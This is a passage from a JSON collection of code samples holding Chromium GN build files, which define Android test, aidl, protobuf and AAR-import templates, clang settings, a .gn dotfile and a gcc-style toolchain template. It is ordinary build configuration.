\"deps\",\n                               \"ignore_all_data_deps\",\n                               \"public_deps\",\n                             ])\n      test_name = invoker.target_name\n      test_type = \"instrumentation\"\n      apk_target = \":$_apk_target_name\"\n      test_jar = _dist_ijar_path\n    }\n\n    test_runner_script(\"${_test_runner_target_name}_incremental\") {\n      forward_variables_from(invoker,\n                             [\n                               \"additional_apks\",\n                               \"apk_under_test\",\n                               \"data\",\n                               \"data_deps\",\n                               \"deps\",\n                               \"ignore_all_data_deps\",\n                               \"public_deps\",\n                             ])\n      test_name = \"${invoker.target_name}_incremental\"\n      test_type = \"instrumentation\"\n      apk_target = \":$_apk_target_name\"\n      test_jar = _dist_ijar_path\n      incremental_install = true\n    }\n\n    android_apk(_apk_target_name) {\n      deps = []\n      data_deps = []\n      forward_variables_from(invoker, \"*\")\n      install_script_name = _install_script_name\n      deps += [ \"//testing/android/broker:broker_java\" ]\n      data_deps += [\n        \"//build/android/pylib/device/commands\",\n        \"//tools/android/forwarder2\",\n        \"//tools/android/md5sum\",\n      ]\n      if (defined(invoker.additional_apks)) {\n        data_deps += invoker.additional_apks\n      }\n\n      if (defined(invoker.proguard_enabled) && invoker.proguard_enabled) {\n        # When ProGuard is on, we use ProGuard to combine the under test java\n        # code and the test java code. This is to allow us to apply all ProGuard\n        # optimizations that we ship with, but not have them break tests. The\n        # apk under test will still have the same resources, assets, and\n        # manifest, all of which are the ones used in the tests.\n        if (!defined(invoker.proguard_configs)) {\n          proguard_configs = []\n        }\n        proguard_configs += [ \"//testing/android/proguard_for_test.flags\" ]\n      }\n\n      dist_ijar_path = _dist_ijar_path\n      if (defined(invoker.run_findbugs_override)) {\n        # Only allow findbugs when there are java files.\n        run_findbugs_override =\n            invoker.run_findbugs_override && defined(invoker.java_files)\n      }\n    }\n\n    group(target_name) {\n      public_deps = [\n        \":$_apk_target_name\",\n        \":$_test_runner_target_name\",\n\n        # Required by test runner to enumerate test list.\n        \":${_apk_target_name}_dist_ijar\",\n      ]\n      if (defined(invoker.apk_under_test)) {\n        public_deps += [ invoker.apk_under_test ]\n      }\n    }\n\n    # TODO: Delete once recipes no longer use this target.\n    group(\"${target_name}_run\") {\n      public_deps = [\n        \":${invoker.target_name}\",\n      ]\n    }\n    group(\"${target_name}_incremental\") {\n      public_deps = [\n        \":${_apk_target_name}_dist_ijar\",\n        \":${_apk_target_name}_incremental\",\n        \":${_test_runner_target_name}_incremental\",\n      ]\n      if (defined(invoker.apk_under_test)) {\n        public_deps += [ \"${invoker.apk_under_test}_incremental\" ]\n      }\n    }\n  }\n\n  # Declare an Android gtest apk\n  #\n  # This target creates an Android apk for running gtest-based unittests.\n  #\n  # Variables\n  #   deps: Specifies the dependencies of this target. These will be passed to\n  #     the underlying android_apk invocation and should include the java and\n  #     resource dependencies of the apk.\n  #   shared_library: shared_library target that contains the unit tests.\n  #   apk_name: The name of the produced apk. If unspecified, it uses the name\n  #             of the shared_library target suffixed with \"_apk\"\n  #   use_default_launcher: Whether the default activity (NativeUnitTestActivity)\n  #     should be used for launching tests.\n  #   use_native_activity: Test implements ANativeActivity_onCreate().\n  #\n  # Example\n  #   unittest_apk(\"foo_unittests_apk\") {\n  #     deps = [ \":foo_java\", \":foo_resources\" ]\n  #     shared_library = \":foo_unittests\"\n  #   }\n  template(\"unittest_apk\") {\n    _use_native_activity =\n        defined(invoker.use_native_activity) && invoker.use_native_activity\n    _android_manifest = \"$target_gen_dir/$target_name/AndroidManifest.xml\"\n    assert(invoker.shared_library != \"\")\n\n    # This trivial assert is needed in case android_manifest is defined,\n    # as otherwise _use_native_activity and _android_manifest would not be used.\n    assert(_use_native_activity != \"\" && _android_manifest != \"\")\n\n    if (!defined(invoker.android_manifest)) {\n      jinja_template(\"${target_name}_manifest\") {\n        _native_library_name = get_label_info(invoker.shared_library, \"name\")\n        input = \"//testing/android/native_test/java/AndroidManifest.xml.jinja2\"\n        output = _android_manifest\n        variables = [\n          \"is_component_build=${is_component_build}\",\n          \"native_library_name=${_native_library_name}\",\n          \"use_native_activity=${_use_native_activity}\",\n        ]\n      }\n    }\n\n    android_apk(target_name) {\n      set_sources_assignment_filter([])\n      data_deps = []\n      deps = []\n      forward_variables_from(invoker, \"*\")\n      testonly = true\n\n      assert(!defined(invoker.proguard_enabled) || !invoker.proguard_enabled ||\n             invoker.proguard_configs != [])\n\n      if (!defined(apk_name)) {\n        apk_name = get_label_info(invoker.shared_library, \"name\")\n      }\n\n      if (!defined(android_manifest)) {\n        android_manifest_dep = \":${target_name}_manifest\"\n        android_manifest = _android_manifest\n      }\n\n      final_apk_path = \"$root_build_dir/${apk_name}_apk/${apk_name}-debug.apk\"\n\n      if (!defined(use_default_launcher) || use_default_launcher) {\n        deps += [ \"//testing/android/native_test:native_test_java\" ]\n      }\n      shared_libraries = [ invoker.shared_library ]\n      deps += [\n        \"//base:base_java\",\n        \"//testing/android/appurify_support:appurify_support_java\",\n        \"//testing/android/reporter:reporter_java\",\n      ]\n      data_deps += [\n        \"//build/android/pylib/device/commands\",\n        \"//tools/android/md5sum\",\n      ]\n      if (host_os == \"linux\") {\n        data_deps += [ \"//tools/android/forwarder2\" ]\n      }\n    }\n  }\n\n  # Generate .java files from .aidl files.\n  #\n  # This target will store the .java files in a srcjar and should be included in\n  # an android_library or android_apk's srcjar_deps.\n  #\n  # Variables\n  #   sources: Paths to .aidl files to compile.\n  #   import_include: Path to directory containing .java files imported by the\n  #     .aidl files.\n  #   interface_file: Preprocessed aidl file to import.\n  #\n  # Example\n  #   android_aidl(\"foo_aidl\") {\n  #     import_include = \"java/src\"\n  #     sources = [\n  #       \"java/src/com/foo/bar/FooBarService.aidl\",\n  #       \"java/src/com/foo/bar/FooBarServiceCallback.aidl\",\n  #     ]\n  #   }\n  template(\"android_aidl\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    srcjar_path = \"${target_gen_dir}/${target_name}.srcjar\"\n    aidl_path = \"${android_sdk_build_tools}/aidl\"\n    framework_aidl = \"$android_sdk/framework.aidl\"\n\n    action(target_name) {\n      script = \"//build/android/gyp/aidl.py\"\n      sources = invoker.sources\n\n      imports = [ framework_aidl ]\n      if (defined(invoker.interface_file)) {\n        assert(invoker.interface_file != \"\")\n        imports += [ invoker.interface_file ]\n      }\n\n      inputs = [ aidl_path ] + imports\n\n      depfile = \"${target_gen_dir}/${target_name}.d\"\n      outputs = [\n        srcjar_path,\n      ]\n      rebased_imports = rebase_path(imports, root_build_dir)\n      args = [\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n        \"--aidl-path\",\n        rebase_path(aidl_path, root_build_dir),\n        \"--imports=$rebased_imports\",\n        \"--srcjar\",\n        rebase_path(srcjar_path, root_build_dir),\n      ]\n      if (defined(invoker.import_include) && invoker.import_include != \"\") {\n        # TODO(cjhopman): aidl supports creating a depfile. We should be able to\n        # switch to constructing a depfile for the overall action from that\n        # instead of having all the .java files in the include paths as inputs.\n        rebased_import_includes =\n            rebase_path([ invoker.import_include ], root_build_dir)\n        args += [ \"--includes=$rebased_import_includes\" ]\n\n        _java_files_build_rel =\n            exec_script(\"//build/android/gyp/find.py\",\n                        rebase_path([ invoker.import_include ], root_build_dir),\n                        \"list lines\")\n        _java_files = rebase_path(_java_files_build_rel, \".\", root_build_dir)\n        inputs += _java_files\n      }\n      args += rebase_path(sources, root_build_dir)\n    }\n  }\n\n  # Compile a protocol buffer to java.\n  #\n  # This generates java files from protocol buffers and creates an Android library\n  # containing the classes.\n  #\n  # Variables\n  #   sources: Paths to .proto files to compile.\n  #   proto_path: Root directory of .proto files.\n  #\n  # Example:\n  #  proto_java_library(\"foo_proto_java\") {\n  #    proto_path = \"src/foo\"\n  #    sources = [ \"$proto_path/foo.proto\" ]\n  #  }\n  template(\"proto_java_library\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n    _protoc_dep =\n        \"//third_party/android_protobuf:android_protoc($host_toolchain)\"\n    _protoc_out_dir = get_label_info(_protoc_dep, \"root_out_dir\")\n    _protoc_bin = \"$_protoc_out_dir/android_protoc\"\n    _proto_path = invoker.proto_path\n\n    _template_name = target_name\n\n    action(\"${_template_name}__protoc_java\") {\n      srcjar_path = \"$target_gen_dir/$target_name.srcjar\"\n      script = \"//build/protoc_java.py\"\n\n      deps = [\n        _protoc_dep,\n      ]\n      if (defined(invoker.deps)) {\n        deps += invoker.deps\n      }\n\n      sources = invoker.sources\n      depfile = \"$target_gen_dir/$target_name.d\"\n      outputs = [\n        srcjar_path,\n      ]\n      args = [\n               \"--depfile\",\n               rebase_path(depfile, root_build_dir),\n               \"--protoc\",\n               rebase_path(_protoc_bin, root_build_dir),\n               \"--proto-path\",\n               rebase_path(_proto_path, root_build_dir),\n               \"--srcjar\",\n               rebase_path(srcjar_path, root_build_dir),\n             ] + rebase_path(sources, root_build_dir)\n    }\n\n    android_library(target_name) {\n      chromium_code = false\n      java_files = []\n      srcjar_deps = [ \":${_template_name}__protoc_java\" ]\n      deps = [\n        \"//third_party/android_protobuf:protobuf_nano_javalib\",\n      ]\n    }\n  }\n\n  # Declare an Android library target for a prebuilt AAR.\n  #\n  # This target creates an Android library containing java code and Android\n  # resources. For libraries without resources, it will not generate\n  # corresponding android_resources targets.\n  #\n  # Variables\n  #   aar_path: Path to the AAR.\n  #   proguard_configs: List of proguard configs to use in final apk step for\n  #     any apk that depends on this library.\n  #   ignore_aidl: Whether to ignore .aidl files found with the .aar.\n  #   ignore_assets: Whether to ignore assets found in the .aar.\n  #   ignore_manifest: Whether to ignore merging of AndroidManifest.xml.\n  #   ignore_native_libraries: Whether to ignore .so files found in the .aar.\n  #   TODO(jbudorick@): remove this arguments after crbug.com/522043 is fixed.\n  #   requires_android: Whether this target can only be used for compiling Android related targets.\n  #\n  # Example\n  #   android_aar_prebuilt(\"foo_java\") {\n  #     aar_path = \"foo.aar\"\n  #   }\n  template(\"android_aar_prebuilt\") {\n    _output_path = \"${target_gen_dir}/${target_name}\"\n    _unpack_target_name = \"${target_name}__unpack_aar\"\n    _ignore_aidl = defined(invoker.ignore_aidl) && invoker.ignore_aidl\n    _ignore_assets = defined(invoker.ignore_assets) && invoker.ignore_assets\n    _ignore_manifest =\n        defined(invoker.ignore_manifest) && invoker.ignore_manifest\n    _ignore_native_libraries = defined(invoker.ignore_native_libraries) &&\n                               invoker.ignore_native_libraries\n\n    # Scan the AAR file and determine the resources and jar files.\n    # Some libraries might not have resources; others might have two jars.\n    _scanned_files =\n        exec_script(\"//build/android/gyp/aar.py\",\n                    [\n                      \"--input-file\",\n                      rebase_path(invoker.aar_path, root_build_dir),\n                      \"--list\",\n                    ],\n                    \"scope\")\n\n    assert(_ignore_aidl || _scanned_files.aidl == [],\n           \"android_aar_prebuilt() aidl not yet supported.\" +\n               \" Implement or use ignore_aidl = true.\" +\n               \" http://crbug.com/644439\")\n    assert(_ignore_assets || _scanned_files.assets == [],\n           \"android_aar_prebuilt() assets not yet supported.\" +\n               \" Implement or use ignore_assets = true.\" +\n               \" http://crbug.com/643966\")\n    assert(_ignore_native_libraries || !_scanned_files.has_native_libraries,\n           \"android_aar_prebuilt() with .so files is not supported.\" +\n               \" Use ignore_native_libraries = true to silence this error.\")\n    assert(_ignore_manifest || _scanned_files.is_manifest_empty,\n           \"android_aar_prebuilt() manifest merging not yet supported and\" +\n               \" non-trivial AndroidManifest.xml detected.\" +\n               \" Implement or use ignore_manifest = true.\" +\n               \" http://crbug.com/643967\")\n    assert(_scanned_files.has_classes_jar || _scanned_files.subjars == [])\n\n    action(_unpack_target_name) {\n      script = \"//build/android/gyp/aar.py\"  # Unzips the AAR\n      args = [\n        \"--input-file\",\n        rebase_path(invoker.aar_path, root_build_dir),\n        \"--output-dir\",\n        rebase_path(_output_path, root_build_dir),\n        \"--extract\",\n      ]\n      inputs = [\n        invoker.aar_path,\n      ]\n      outputs = [\n        \"${_output_path}/AndroidManifest.xml\",\n      ]\n\n      if (_scanned_files.resources != []) {\n        outputs += [ \"${_output_path}/R.txt\" ]\n        outputs += get_path_info(\n                rebase_path(_scanned_files.resources, \"\", _output_path),\n                \"abspath\")\n      }\n      if (_scanned_files.has_classes_jar) {\n        outputs += [ \"${_output_path}/classes.jar\" ]\n      }\n      outputs +=\n          get_path_info(rebase_path(_scanned_files.subjars, \"\", _output_path),\n                        \"abspath\")\n      if (_scanned_files.has_proguard_flags) {\n        outputs += [ \"${_output_path}/proguard.txt\" ]\n      }\n    }\n\n    # Create the android_resources target for resources.\n    if (_scanned_files.resources != []) {\n      _res_target_name = \"${target_name}__res\"\n      android_resources(_res_target_name) {\n        forward_variables_from(invoker, [ \"deps\" ])\n        if (!defined(deps)) {\n          deps = []\n        }\n        deps += [ \":$_unpack_target_name\" ]\n        resource_dirs = []\n        generated_resource_dirs = [ \"${_output_path}/res\" ]\n        generated_resource_files =\n            rebase_path(_scanned_files.resources, \"\", _output_path)\n        android_manifest_dep = \":$_unpack_target_name\"\n        android_manifest = \"${_output_path}/AndroidManifest.xml\"\n        v14_skip = true\n      }\n    }\n\n    # Create android_java_prebuilt target for extra jars within jars/.\n    _subjar_targets = []\n    foreach(_tuple, _scanned_files.subjar_tuples) {\n      _current_target = \"${target_name}__subjar_${_tuple[0]}\"\n      _subjar_targets += [ \":$_current_target\" ]\n      java_prebuilt(_current_target) {\n        forward_variables_from(invoker,\n                               [\n                                 \"jar_excluded_patterns\",\n                                 \"requires_android\",\n                               ])\n        deps = [\n          \":$_unpack_target_name\",\n        ]\n        if (!defined(requires_android)) {\n          requires_android = true\n        }\n        supports_android = true\n        jar_path = \"$_output_path/${_tuple[1]}\"\n        _base_output_name = get_path_info(jar_path, \"name\")\n        output_name = \"${invoker.target_name}-$_base_output_name\"\n      }\n    }\n\n    # Create android_java_prebuilt target for classes.jar.\n    if (_scanned_files.has_classes_jar) {\n      _jar_target_name = \"${target_name}__classes\"\n      java_prebuilt(_jar_target_name) {\n        forward_variables_from(invoker,\n                               [\n                                 \"deps\",\n                                 \"input_jars_paths\",\n                                 \"jar_excluded_patterns\",\n                                 \"proguard_configs\",\n                                 \"requires_android\",\n                               ])\n        if (!defined(deps)) {\n          deps = []\n        }\n        deps += _subjar_targets + [ \":$_unpack_target_name\" ]\n        if (defined(_res_target_name)) {\n          deps += [ \":$_res_target_name\" ]\n        }\n        if (!defined(requires_android)) {\n          requires_android = true\n        }\n        supports_android = true\n        jar_path = \"$_output_path/classes.jar\"\n        output_name = invoker.target_name\n\n        if (_scanned_files.has_proguard_flags) {\n          if (!defined(proguard_configs)) {\n            proguard_configs = []\n          }\n          proguard_configs += [ \"$_output_path/proguard.txt\" ]\n        }\n      }\n    }\n\n    java_group(target_name) {\n      deps = []\n      if (defined(_jar_target_name)) {\n        deps += [ \":$_jar_target_name\" ]\n\n        # Although subjars are meant to be private, we add them as deps here\n        # because in practice they seem to contain classes required to be in the\n        # classpath.\n        deps += _subjar_targets\n      }\n      if (defined(_res_target_name)) {\n        deps += [ \":$_res_target_name\" ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "samples/GN/clang.gni",
    "content": "# Copyright 2014 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport(\"//build/toolchain/toolchain.gni\")\n\ndeclare_args() {\n  # Indicates if the build should use the Chrome-specific plugins for enforcing\n  # coding guidelines, etc. Only used when compiling with Clang.\n  clang_use_chrome_plugins = is_clang && !is_nacl && !use_xcode_clang\n\n  clang_base_path = \"//third_party/llvm-build/Release+Asserts\"\n}\n"
  },
  {
    "path": "samples/GN/filenames/.gn",
    "content": "# This file is used by the GN meta build system to find the root of the source\n# tree and to set startup options. For documentation on the values set in this\n# file, run \"gn help dotfile\" at the command line.\n\nimport(\"//build/dotfile_settings.gni\")\n\n# The location of the build configuration file.\nbuildconfig = \"//build/config/BUILDCONFIG.gn\"\n\n# The secondary source root is a parallel directory tree where\n# GN build files are placed when they can not be placed directly\n# in the source tree, e.g. for third party source trees.\nsecondary_source = \"//build/secondary/\"\n\n# These are the targets to check headers for by default. The files in targets\n# matching these patterns (see \"gn help label_pattern\" for format) will have\n# their includes checked for proper dependencies when you run either\n# \"gn check\" or \"gn gen --check\".\ncheck_targets = []\n\n# These are the list of GN files that run exec_script. This whitelist exists\n# to force additional review for new uses of exec_script, which is strongly\n# discouraged except for gypi_to_gn calls.\nexec_script_whitelist =\n    build_dotfile_settings.exec_script_whitelist + [ \"//test/test262/BUILD.gn\" ]\n"
  },
  {
    "path": "samples/GN/gcc_toolchain.gni",
    "content": "# Copyright (c) 2013 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport(\"//build/config/android/config.gni\")\nimport(\"//build/config/clang/clang.gni\")\nimport(\"//build/config/nacl/config.gni\")\nimport(\"//build/config/sanitizers/sanitizers.gni\")\nimport(\"//build/config/v8_target_cpu.gni\")\nimport(\"//build/toolchain/cc_wrapper.gni\")\nimport(\"//build/toolchain/goma.gni\")\nimport(\"//build/toolchain/toolchain.gni\")\n\n# This template defines a toolchain for something that works like gcc\n# (including clang).\n#\n# It requires the following variables specifying the executables to run:\n#  - ar\n#  - cc\n#  - cxx\n#  - ld\n#\n# Optional parameters that control the tools:\n#\n#  - extra_cflags\n#      Extra flags to be appended when compiling C files (but not C++ files).\n#  - extra_cppflags\n#      Extra flags to be appended when compiling both C and C++ files. \"CPP\"\n#      stands for \"C PreProcessor\" in this context, although it can be\n#      used for non-preprocessor flags as well. Not to be confused with\n#      \"CXX\" (which follows).\n#  - extra_cxxflags\n#      Extra flags to be appended when compiling C++ files (but not C files).\n#  - extra_ldflags\n#      Extra flags to be appended when linking\n#\n#  - libs_section_prefix\n#  - libs_section_postfix\n#      The contents of these strings, if specified, will be placed around\n#      the libs section of the linker line. It allows one to inject libraries\n#      at the beginning and end for all targets in a toolchain.\n#  - solink_libs_section_prefix\n#  - solink_libs_section_postfix\n#      Same as libs_section_{pre,post}fix except used for solink instead of link.\n#  - link_outputs\n#      The content of this array, if specified, will be added to the list of\n#      outputs from the link command. This can be useful in conjunction with\n#      the post_link parameter.\n#  - post_link\n#      The content of this string, if specified, will be run as a separate\n#      command following the the link command.\n#  - deps\n#      Just forwarded to the toolchain definition.\n#  - executable_extension\n#      If this string is specified it will be used for the file extension\n#      for an executable, rather than using no extension; targets will\n#      still be able to override the extension using the output_extension\n#      variable.\n#  - rebuild_define\n#      The contents of this string, if specified, will be passed as a #define\n#      to the toolchain. It can be used to force recompiles whenever a\n#      toolchain is updated.\n#  - shlib_extension\n#      If this string is specified it will be used for the file extension\n#      for a shared library, rather than default value specified in\n#      toolchain.gni\n#  - strip\n#      Location of the strip executable. When specified, strip will be run on\n#      all shared libraries and executables as they are built. The pre-stripped\n#      artifacts will be put in lib.unstripped/ and exe.unstripped/.\ntemplate(\"gcc_toolchain\") {\n  toolchain(target_name) {\n    assert(defined(invoker.ar), \"gcc_toolchain() must specify a \\\"ar\\\" value\")\n    assert(defined(invoker.cc), \"gcc_toolchain() must specify a \\\"cc\\\" value\")\n    assert(defined(invoker.cxx), \"gcc_toolchain() must specify a \\\"cxx\\\" value\")\n    assert(defined(invoker.ld), \"gcc_toolchain() must specify a \\\"ld\\\" value\")\n\n    # This define changes when the toolchain changes, forcing a rebuild.\n    # Nothing should ever use this define.\n    if (defined(invoker.rebuild_define)) {\n      rebuild_string = \"-D\" + invoker.rebuild_define + \" \"\n    } else {\n      rebuild_string = \"\"\n    }\n\n    # GN's syntax can't handle more than one scope dereference at once, like\n    # \"invoker.toolchain_args.foo\", so make a temporary to hold the toolchain\n    # args so we can do \"invoker_toolchain_args.foo\".\n    assert(defined(invoker.toolchain_args),\n           \"Toolchains must specify toolchain_args\")\n    invoker_toolchain_args = invoker.toolchain_args\n    assert(defined(invoker_toolchain_args.current_cpu),\n           \"toolchain_args must specify a current_cpu\")\n    assert(defined(invoker_toolchain_args.current_os),\n           \"toolchain_args must specify a current_os\")\n\n    # When invoking this toolchain not as the default one, these args will be\n    # passed to the build. They are ignored when this is the default toolchain.\n    toolchain_args = {\n      # Populate toolchain args from the invoker.\n      forward_variables_from(invoker_toolchain_args, \"*\")\n\n      # The host toolchain value computed by the default toolchain's setup\n      # needs to be passed through unchanged to all secondary toolchains to\n      # ensure that it's always the same, regardless of the values that may be\n      # set on those toolchains.\n      host_toolchain = host_toolchain\n\n      if (!defined(invoker_toolchain_args.v8_current_cpu)) {\n        v8_current_cpu = invoker_toolchain_args.current_cpu\n      }\n    }\n\n    # When the invoker has explicitly overridden use_goma or cc_wrapper in the\n    # toolchain args, use those values, otherwise default to the global one.\n    # This works because the only reasonable override that toolchains might\n    # supply for these values are to force-disable them.\n    if (defined(toolchain_args.use_goma)) {\n      toolchain_uses_goma = toolchain_args.use_goma\n    } else {\n      toolchain_uses_goma = use_goma\n    }\n    if (defined(toolchain_args.cc_wrapper)) {\n      toolchain_cc_wrapper = toolchain_args.cc_wrapper\n    } else {\n      toolchain_cc_wrapper = cc_wrapper\n    }\n\n    # Compute the compiler prefix.\n    if (toolchain_uses_goma) {\n      assert(toolchain_cc_wrapper == \"\",\n             \"Goma and cc_wrapper can't be used together.\")\n      compiler_prefix = \"$goma_dir/gomacc \"\n    } else if (toolchain_cc_wrapper != \"\") {\n      compiler_prefix = toolchain_cc_wrapper + \" \"\n    } else {\n      compiler_prefix = \"\"\n    }\n\n    cc = compiler_prefix + invoker.cc\n    cxx = compiler_prefix + invoker.cxx\n    ar = invoker.ar\n    ld = invoker.ld\n    if (defined(invoker.readelf)) {\n      readelf = invoker.readelf\n    } else {\n      readelf = \"readelf\"\n    }\n    if (defined(invoker.nm)) {\n      nm = invoker.nm\n    } else {\n      nm = \"nm\"\n    }\n\n    if (defined(invoker.shlib_extension)) {\n      default_shlib_extension = invoker.shlib_extension\n    } else {\n      default_shlib_extension = shlib_extension\n    }\n\n    if (defined(invoker.executable_extension)) {\n      default_executable_extension = invoker.executable_extension\n    } else {\n      default_executable_extension = \"\"\n    }\n\n    # Bring these into our scope for string interpolation with default values.\n    if (defined(invoker.libs_section_prefix)) {\n      libs_section_prefix = invoker.libs_section_prefix\n    } else {\n      libs_section_prefix = \"\"\n    }\n\n    if (defined(invoker.libs_section_postfix)) {\n      libs_section_postfix = invoker.libs_section_postfix\n    } else {\n      libs_section_postfix = \"\"\n    }\n\n    if (defined(invoker.solink_libs_section_prefix)) {\n      solink_libs_section_prefix = invoker.solink_libs_section_prefix\n    } else {\n      solink_libs_section_prefix = \"\"\n    }\n\n    if (defined(invoker.solink_libs_section_postfix)) {\n      solink_libs_section_postfix = invoker.solink_libs_section_postfix\n    } else {\n      solink_libs_section_postfix = \"\"\n    }\n\n    if (defined(invoker.extra_cflags) && invoker.extra_cflags != \"\") {\n      extra_cflags = \" \" + invoker.extra_cflags\n    } else {\n      extra_cflags = \"\"\n    }\n\n    if (defined(invoker.extra_cppflags) && invoker.extra_cppflags != \"\") {\n      extra_cppflags = \" \" + invoker.extra_cppflags\n    } else {\n      extra_cppflags = \"\"\n    }\n\n    if (defined(invoker.extra_cxxflags) && invoker.extra_cxxflags != \"\") {\n      extra_cxxflags = \" \" + invoker.extra_cxxflags\n    } else {\n      extra_cxxflags = \"\"\n    }\n\n    if (defined(invoker.extra_ldflags) && invoker.extra_ldflags != \"\") {\n      extra_ldflags = \" \" + invoker.extra_ldflags\n    } else {\n      extra_ldflags = \"\"\n    }\n\n    # These library switches can apply to all tools below.\n    lib_switch = \"-l\"\n    lib_dir_switch = \"-L\"\n\n    # Object files go in this directory.\n    object_subdir = \"{{target_out_dir}}/{{label_name}}\"\n\n    tool(\"cc\") {\n      depfile = \"{{output}}.d\"\n      command = \"$cc -MMD -MF $depfile ${rebuild_string}{{defines}} {{include_dirs}} {{cflags}} {{cflags_c}}${extra_cppflags}${extra_cflags} -c {{source}} -o {{output}}\"\n      depsformat = \"gcc\"\n      description = \"CC {{output}}\"\n      outputs = [\n        # The whitelist file is also an output, but ninja does not\n        # currently support multiple outputs for tool(\"cc\").\n        \"$object_subdir/{{source_name_part}}.o\",\n      ]\n      if (enable_resource_whitelist_generation) {\n        compile_wrapper =\n            rebase_path(\"//build/toolchain/gcc_compile_wrapper.py\",\n                        root_build_dir)\n        command = \"$python_path \\\"$compile_wrapper\\\" --resource-whitelist=\\\"{{output}}.whitelist\\\" $command\"\n      }\n    }\n\n    tool(\"cxx\") {\n      depfile = \"{{output}}.d\"\n      command = \"$cxx -MMD -MF $depfile ${rebuild_string}{{defines}} {{include_dirs}} {{cflags}} {{cflags_cc}}${extra_cppflags}${extra_cxxflags} -c {{source}} -o {{output}}\"\n      depsformat = \"gcc\"\n      description = \"CXX {{output}}\"\n      outputs = [\n        # The whitelist file is also an output, but ninja does not\n        # currently support multiple outputs for tool(\"cxx\").\n        \"$object_subdir/{{source_name_part}}.o\",\n      ]\n      if (enable_resource_whitelist_generation) {\n        compile_wrapper =\n            rebase_path(\"//build/toolchain/gcc_compile_wrapper.py\",\n                        root_build_dir)\n        command = \"$python_path \\\"$compile_wrapper\\\" --resource-whitelist=\\\"{{output}}.whitelist\\\" $command\"\n      }\n    }\n\n    tool(\"asm\") {\n      # For GCC we can just use the C compiler to compile assembly.\n      depfile = \"{{output}}.d\"\n      command = \"$cc -MMD -MF $depfile ${rebuild_string}{{defines}} {{include_dirs}} {{asmflags}} -c {{source}} -o {{output}}\"\n      depsformat = \"gcc\"\n      description = \"ASM {{output}}\"\n      outputs = [\n        \"$object_subdir/{{source_name_part}}.o\",\n      ]\n    }\n\n    tool(\"alink\") {\n      rspfile = \"{{output}}.rsp\"\n      whitelist_flag = \" \"\n      if (enable_resource_whitelist_generation) {\n        whitelist_flag = \" --resource-whitelist=\\\"{{output}}.whitelist\\\"\"\n      }\n\n      # This needs a Python script to avoid using simple sh features in this\n      # command, in case the host does not use a POSIX shell (e.g. compiling\n      # POSIX-like toolchains such as NaCl on Windows).\n      ar_wrapper =\n          rebase_path(\"//build/toolchain/gcc_ar_wrapper.py\", root_build_dir)\n      command = \"$python_path \\\"$ar_wrapper\\\"$whitelist_flag --output={{output}} --ar=\\\"$ar\\\" {{arflags}} rcsD @\\\"$rspfile\\\"\"\n      description = \"AR {{output}}\"\n      rspfile_content = \"{{inputs}}\"\n      outputs = [\n        \"{{output_dir}}/{{target_output_name}}{{output_extension}}\",\n      ]\n\n      # Shared libraries go in the target out directory by default so we can\n      # generate different targets with the same name and not have them collide.\n      default_output_dir = \"{{target_out_dir}}\"\n      default_output_extension = \".a\"\n      output_prefix = \"lib\"\n    }\n\n    tool(\"solink\") {\n      soname = \"{{target_output_name}}{{output_extension}}\"  # e.g. \"libfoo.so\".\n      sofile = \"{{output_dir}}/$soname\"  # Possibly including toolchain dir.\n      rspfile = sofile + \".rsp\"\n      pool = \"//build/toolchain:link_pool($default_toolchain)\"\n      whitelist_flag = \" \"\n      if (enable_resource_whitelist_generation) {\n        whitelist_file = \"$sofile.whitelist\"\n        whitelist_flag = \" --resource-whitelist=\\\"$whitelist_file\\\"\"\n      }\n\n      if (defined(invoker.strip)) {\n        unstripped_sofile = \"{{root_out_dir}}/lib.unstripped/$soname\"\n      } else {\n        unstripped_sofile = sofile\n      }\n\n      # These variables are not built into GN but are helpers that\n      # implement (1) linking to produce a .so, (2) extracting the symbols\n      # from that file (3) if the extracted list differs from the existing\n      # .TOC file, overwrite it, otherwise, don't change it.\n      tocfile = sofile + \".TOC\"\n\n      link_command = \"$ld -shared {{ldflags}}${extra_ldflags} -o \\\"$unstripped_sofile\\\" -Wl,-soname=\\\"$soname\\\" @\\\"$rspfile\\\"\"\n\n      assert(defined(readelf), \"to solink you must have a readelf\")\n      assert(defined(nm), \"to solink you must have an nm\")\n      strip_switch = \"\"\n      if (defined(invoker.strip)) {\n        strip_switch = \"--strip=${invoker.strip}\"\n      }\n\n      # This needs a Python script to avoid using a complex shell command\n      # requiring sh control structures, pipelines, and POSIX utilities.\n      # The host might not have a POSIX shell and utilities (e.g. Windows).\n      solink_wrapper = rebase_path(\"//build/toolchain/gcc_solink_wrapper.py\")\n      command = \"$python_path \\\"$solink_wrapper\\\" --readelf=\\\"$readelf\\\" --nm=\\\"$nm\\\" $strip_switch --sofile=\\\"$unstripped_sofile\\\" --tocfile=\\\"$tocfile\\\" --output=\\\"$sofile\\\"$whitelist_flag -- $link_command\"\n\n      rspfile_content = \"-Wl,--whole-archive {{inputs}} {{solibs}} -Wl,--no-whole-archive $solink_libs_section_prefix {{libs}} $solink_libs_section_postfix\"\n\n      description = \"SOLINK $sofile\"\n\n      # Use this for {{output_extension}} expansions unless a target manually\n      # overrides it (in which case {{output_extension}} will be what the target\n      # specifies).\n      default_output_extension = default_shlib_extension\n\n      default_output_dir = \"{{root_out_dir}}\"\n      if (shlib_subdir != \".\") {\n        default_output_dir += \"/$shlib_subdir\"\n      }\n\n      output_prefix = \"lib\"\n\n      # Since the above commands only updates the .TOC file when it changes, ask\n      # Ninja to check if the timestamp actually changed to know if downstream\n      # dependencies should be recompiled.\n      restat = true\n\n      # Tell GN about the output files. It will link to the sofile but use the\n      # tocfile for dependency management.\n      outputs = [\n        sofile,\n        tocfile,\n      ]\n      if (enable_resource_whitelist_generation) {\n        outputs += [ whitelist_file ]\n      }\n      if (sofile != unstripped_sofile) {\n        outputs += [ unstripped_sofile ]\n      }\n      link_output = sofile\n      depend_output = tocfile\n    }\n\n    tool(\"solink_module\") {\n      soname = \"{{target_output_name}}{{output_extension}}\"  # e.g. \"libfoo.so\".\n      sofile = \"{{output_dir}}/$soname\"\n      rspfile = sofile + \".rsp\"\n      pool = \"//build/toolchain:link_pool($default_toolchain)\"\n\n    